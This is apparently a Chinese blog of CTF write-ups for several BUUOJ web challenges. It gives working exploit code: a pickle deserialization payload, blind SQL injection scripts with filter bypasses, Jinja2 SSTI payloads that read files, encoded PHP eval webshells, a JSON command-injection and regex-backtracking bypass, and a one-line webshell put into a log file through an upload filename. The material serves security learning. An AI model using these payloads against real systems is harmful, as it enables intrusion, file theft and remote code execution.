在家还是要学习
[CISCN2019 华北赛区 Day1 Web2]ikun 进入题目,发现不简单,又在黑我kunkun
0x1 lv6 看到第一个提示需要买到 lv6,但是第一页没发现Iv6,往后翻了几页还是没发现,不如写个脚本跑出来
1 2 3 4 5 6 7 8 import requestsurl="http://6e7db183-764d-4afc-bdbb-b70791536e4a.node3.buuoj.cn/shop?page=" for i in range (0 ,2000 ): r=requests.get(url+str (i)) if 'lv6.png' in r.text: print (i) break
lv6在181页,买的时候会发现,钱不够,但是可以抓包修改折扣,买完之后会重定向一次,但是此时会出现302,提示只有admin才能访问该页面
0x2 伪造admin 我们知道网页身份确定一般都是基于cookie的,因此只需要伪造出admin登录时使用的cookie即可。
抓包可以看到,此题的cookie是由JWT决定的(JWT介绍 )
https://jwt.io/
将上面的JWT值放到上面的网站中可以看到
下面要做的就是伪造JWT,将username 的值换成admin
但是我们需要知道构造JWT使用的密码,使用工具(https://github.com/brendan-rius/c-jwt-cracker)
得到密码后就可以伪造出admin使用的cookie
得到cookie后使用浏览器中的cookie编辑插件,将其中的JWT换成构造好的JWT,这样就是以admin身份登录
在个人中心发现另外一个hint
查看源码后,发现了www.zip源码包
0x3 python 反序列化 在admin.py中发现了可反序列化的点
python反序列化以前没有遇到过
1 2 3 4 5 6 7 8 9 pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。 pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化, pickle序列化后的数据,可读性差,人一般无法识别。 p = pickle.loads (urllib.unquote (become))urllib.unquote :将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式 pickle.loads (bytes_object): 从字节对象中读取被封装的对象,并返回
首先构建一个类,类里面的\ reduce__python魔术方法会在该类被反序列化的时候会被调用
在\ reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Pickle模块中最常用的函数为: (1 )pickle.dump(obj, file , [,protocol]) 函数的功能:将obj对象序列化存入已经打开的file 中。 参数讲解: obj:想要序列化的obj对象。 file :文件名称。 protocol:序列化使用的协议。如果该项省略,则默认为0 。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。 (2 )pickle.load (file ) 函数的功能:将file 中的对象序列化读出。 参数讲解: file :文件名称。 (3 )pickle.dumps(obj[, protocol]) 函数的功能:将obj对象序列化为string 形式,而不是存入文件中。 参数讲解: obj:想要序列化的obj对象。 protocal:如果该项省略,则默认为0 。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。 (4 )pickle.loads(string ) 函数的功能:从string 中读出序列化前的obj对象。 参数讲解: string :文件名称。 【注】 dump() 与 load () 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load ()来以同样的顺序反序列化读出这些对象。
exp:
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibclass payload (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print(a)
将得到的内容提交给become参数
连接为
1 http ://a12 f4 ef4 -c68 f-40 c7 -afa3 -09358 de17 dbf.node3 .buuoj.cn/b1 g_m4 mber
参考
https://www.cnblogs.com/Cl0ud/p/12177062.html
https://www.cnblogs.com/wangtanzhi/p/12178311.html
[WUSTCTF2020]颜值成绩查询 看到题目是输入框形式,猜测可能是注入,测试可以发现是盲注
并且查询成功时返回Hi admin, your score is: 100
接下来就是编写脚本一步一步拿到flag
使用?stunum=1 and (ascii(substr(database(),1,1))>57,1,0)
时,却提示查询失败,说明存在waf
猜测可能是将空格,and,or等关键词过滤
经查询发现有两张表 flag
,score
flag表中有两个字段 flag
,value
其中value中存放着flag
完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsurl = "http://1bbc4849-b601-4cf6-9db5-c19d30e5bbad.node3.buuoj.cn/?stunum=" flag = "" t = "" sum =0 for i in range (1 ,50 ): left = 32 right = 128 mid = (right + left) >> 1 while (left < right): payload = "if((select/**/ascii(substring(group_concat(column_name),{0},1))/**/as/**/a/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='flag'/**/having/**/a>{1}),1,0)" .format (i,mid) payload = "if((select/**/ascii(substring(group_concat(value),{0},1))/**/as/**/a/**/from/**/flag/**/having/**/a>{1}),1,0)" .format (i,mid) response = requests.get(url+payload) t = response.text if "Hi admin, your score is: 100" in response.text: left = mid+1 else : right = mid mid=(right+left)>>1 flag = flag + chr (mid) print(flag) print(flag)
[GWCTF 2019]枯燥的抽奖 查看源码看到check.php
访问后看到了题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand(0 ,999999999 );} mt_srand($_SESSION ['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr($str_long1 , mt_rand(0 , strlen($str_long1 ) - 1 ), 1 ); } $str_show = substr($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
可以看到seed是伪随机生成的,网上搜了一下存在很多这样的文章(这里 )
先将伪随机数转换为php_mt_seed可以识别的数据
1 2 3 4 5 6 7 8 9 10 11 str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='TxSQvagG71' str3 = str1[::-1 ] length = len (str2) res='' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1)-1 )+' ' break print(res)
使用工具php_mt_seed
将下载好的文件放入kali中后,在该文件夹下使用make命令,即可生成可执行文件
再使用题目中的源码生成完整的字符串
1 2 3 4 5 6 7 8 9 10 11 12 <?php mt_srand(93047411 ); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr($str_long1 , mt_rand(0 , strlen($str_long1 ) - 1 ), 1 ); } echo $str ;?>
将得到的字符串提交后得到flag
[CISCN2019 华东南赛区]Web11 进入页面后,内容很多很杂,但是有点很引人注意,右上角的Ip
看到这个就想到了XXF头,抓包修改会发现随着改变
通过测试发现是模板注入
先列出目录之后再cat flag即可
这题没有什么过滤相对简单
[GYCTF2020]FlaskApp 查看提示为 失败乃成功之母!!
但是也不知道是什么意思
但是base64解密的页面解密错误格式的字符串出现报错,从而暴露出部分源码
0x1查看代码
首先获取我们输入的内容,之后进行base64解码,解码后通过waf检测则被执行,所以存在SSTI注入
0x2 读取源码 1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py' ,'r').read() }}{% endif %}{% endfor %}
将上面的代码进行base64编码后提交解码,便可得到题目的源码,其中waf代码如下
1 2 3 4 5 def waf (str ): black_list = [& for x in black_list : if x in str .lower() : return 1
0x3 读取flag 首先列出目录
1 2 3 4 {{''.__class__.__bases__ [0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o' +'s' ).listdir('/' )}} #IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==
读取文件
使用python自带的切片省去了绕过flag的步骤
1 2 3 4 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }} {% endif %} {% endfor %} #eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
[MRCTF2020]套娃 0x1 第一关 查看源码,看到注释中的源码
没见过
1 $query = $_SERVER['QUERY_STRING' ]
上网查看一下
上面的代码的意思就是上传的参数中不能包括 _, %5f
但是可以使用 %5F
,绕过
第二个if语句通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中’^’和’$’代表的是行的开头和结尾,所以能利用换行绕过)绕过
0x2 第二关 访问上面的路劲,看到了js代码,放在控制台中运行,提示要POST Mrak
随便post数据即可获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST ['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v ) { $v = base64_decode($v ); $re = '' ; for ($i =0 ;$i <strlen($v );$i ++){ $re .= chr ( ord ($v [$i ]) + $i *2 ); } return $re ; } echo 'Local access only!' ."<br/>" ;$ip = getIp();if ($ip !='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip ;if ($ip === '127.0.0.1' && file_get_contents($_GET ['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET ['file' ]);echo file_get_contents(change($_GET ['file' ])); }?>
代码审计
1.ip地址为127.0.0.1
2.file_get_contents获取的内容为 todat is a happy day
可以使用php input伪协议
3.file_get_contents(change($file))
需要逆向change函数
很简单
1 2 3 4 5 6 7 8 <?php $v = "flag.php" ;$re = '' ; for ($i =0 ;$i <strlen($v );$i ++){ $re .= chr ( ord ($v [$i ]) - $i *2 ); } print base64_encode($re );?>
payload如图
[极客大挑战 2019]RCE ME 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting(0 ); if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen($code )>40 ){ die ("This is too Long." ); } if (preg_match("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); }else { highlight_file(__FILE__ ); } ?>
很简单的代码
1.长度不能超过40
2.正则匹配中不能包含字母和数字
使用异或绕过或者取反绕过
1 2 3 4 5 异或 ${%ff %ff %ff %ff ^%a0 %b8 %ba %ab }{%ff }() 取反 (~%8 F%97 %8 F%96 %91 %99 %90 )()
可以看到禁用了很多函数
构造shell用蚁剑连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting(0 ); $a ='assert' ;$b =urlencode(~$a );echo $b ;echo "<br>" ;$c ='(eval($_POST["test"]))' ;$d =urlencode(~$c );echo $d ; ?>
1 ?code= (~%9 E%8 C%8 C%9 A%8 D%8 B)(~%D7 %9 A%89 %9 E%93 %D7 %DB %A0 %AF %B0 %AC %AB %A4 %DD %8 B%9 A%8 C%8 B%DD %A2 %D6 %D6 )
使用蚁剑连接后发现了flag文件和readflag
但是flag文件不可以直接读取(因为命令执行函数被禁用),需要使用readflag读取其中的内容
可以使用蚁剑自带的插件绕过disable_function,之后运行readflag获取flag文件内容
但是再蚁剑安装插件时,插件一直加载不出来需要挂代理之后才能加载出来
其中端口是你所使用的梯子向外转发的端口
安装 绕过disable_function 这个插件
插件安装好后就是无脑操作了。
[FBCTF2019]RCEService 要求输入json格式的命令
最简单的形式,可以用下面这样的 JSON 表示 “名称 / 值对” :{ “firstName”: “Brett” }
输入
会显示出index.php,没有其他的文件了
尝试读取该文件,但是出现了hacking,说明存在waf,cat命令被过滤
尝试了less,more,发现都被过滤
网上找到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv('PATH=/home/rceservice/jail' ); if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode($json , true )['cmd' ]; if ($cmd !== NULL ) { system($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
可以看到正则表达式打开头和结尾存在^
,$
,说明是单行匹配,可以利用换行符绕过过滤
代码的第一句putenv('PATH=/home/rceservice/jail');
,程序改变了环境变量,只能用绝对路径执行命令,而我们使用的命令都存在/bin
中
多行绕过解题 payload:
1 2 3 {% 0 A"cmd" :"ls /home/rceservice" % 0 A} {% 0 A"cmd" : "/bin/cat /home/rceservice/flag" % 0 A}
利用PCRE回溯来绕过 preg_match 什么是PCRE 点这里
脚本如下
1 2 3 4 5 6 import requestspayload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a" *(1000000 ) + '"}' res = requests.post("http://2526ca08-39b8-48c4-8385-e8c5d4b5dfd7.node3.buuoj.cn/" , data={"cmd" :payload}) print(res.text)
[BSidesCF 2019]Kookie 进入页面提示了设置cookie
构造cookie
重放后在相应包中看到第二个提示,设置username=
再次构造cookie
1 Cookie: monster=admin ;username=admin
[CISCN2019 总决赛 Day2 Web1]Easyweb 一般这种摸不着头脑的题目都会扫描目录,发现了robots.txt
提示存在 .php.bak
,文件,结合源码中的image.php,很容易找到image.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes($id );$path =addslashes($path );$id =str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header("Content-Type: image/jpeg" ); readfile($path );
0x1 sql注入 很明显是存在sql注入的,但是这里对输入的id参数进行了过滤,过滤了 \0,',\'
等
但是由于存在转义函数addslashes以及\0 '
等也被过滤
构造payload
1 http ://d25 c0 ff4 -f5 be-4 d29 -9985 -a6474788 f806 .node3 .buuoj.cn/image.php?id=\0 '&path= or 1 =1 %23
sql查询语句为
1 select * from images where id='\' or path=' or 1 =1 #
从数据库中获取密码
首先测试密码长度
1 http ://d25 c0 ff4 -f5 be-4 d29 -9985 -a6474788 f806 .node3 .buuoj.cn/image.php?id=\0 %27 &path=%20 or%20 length((select group_concat(password) from users))=20 %23
当长度为20时,页面显示图片,说明长度为20
编写脚本获取密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = "http://d25c0ff4-f5be-4d29-9985-a6474788f806.node3.buuoj.cn/image.php?id=\\0&path=" payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23" result = "" for i in range (1 ,100 ): l = 1 r = 130 mid = (l + r)>>1 while (l<r): payloads = payload.format (i,mid) print(url+payloads) html = requests.get(url+payloads) if "JFIF" in html.text: l = mid +1 else : r = mid mid = (l + r)>>1 result+=chr (mid) print(result)
获取的账号密码
1 2 username : admin password : 2 bab3 f14 b41 e46436896
登录后可以发现是文件上传的页面
0x2 文件上传 上传php文件发现不行,就随随便上传一个txt文件,可以发现会将文件名写入日志文件,而这个日志文件又是php类型的文件,所以只需要将文件名改为一句话木马即可将日志文件当作我们可以利用的木马文件
直接将文件名改为一句话木马发现存在过滤,使用短标签
1 filename=" <?= @eval ($_POST ['a' ]);?> "
之后蚁剑连接
1 http ://2 ff2 b0 ba-2 e9 e-4671 -ab7 c-a547 f3 b6 e80 b.node3 .buuoj.cn/logs/upload.5874 e8 eeee7 baaa825 eed3 a08 e0976 bf.log.php
[GKCTF2020]EZ三剑客-EzWeb 查看源码发现提示 ?secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 eth0 Link encap:Ethernet HWaddr 02 :42 :0 a:c0 :22 :09 inet addr:10.192.34.9 Bcast:10.192.34.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:22 errors:0 dropped:0 overruns:0 frame:0 TX packets:18 errors:0 dropped:0 overruns:0 carrier:0 collisions :0 txqueuelen:0 RX bytes:5792 (5 .7 KB) TX bytes:4648 (4 .6 KB) eth1 Link encap:Ethernet HWaddr 52 :54 :00 :92 :05 :19 inet addr:10.128.0.67 Bcast:10.128.255.255 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:18 errors:0 dropped:0 overruns:0 frame:0 TX packets:21 errors:0 dropped:0 overruns:0 carrier:0 collisions :0 txqueuelen:0 RX bytes:6670 (6 .6 KB) TX bytes:2044 (2 .0 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:23 errors:0 dropped:0 overruns:0 frame:0 TX packets:23 errors:0 dropped:0 overruns:0 carrier:0 collisions :0 txqueuelen:1000 RX bytes:2371 (2 .3 KB) TX bytes:2371 (2 .3 KB)
可以知道服务器的地址为10.128.0.67
使用file协议读取源码
1 file :/var/ www/html/i ndex.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function curl ($url ) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_HEADER, 0 ); echo curl_exec($ch ); curl_close($ch ); } if (isset ($_GET ['submit' ])){ $url = $_GET ['url' ]; if (preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is' , $url ,$match )) { die ('别这样' ); } curl($url ); } if (isset ($_GET ['secret' ])){ system('ifconfig' ); } ?>
过滤了file://,dict, .. , 127.0.0.1, localhost
,但是还有http,gopher协议可以用,用http协议
可进行内网主机存活检测,使用bp爆破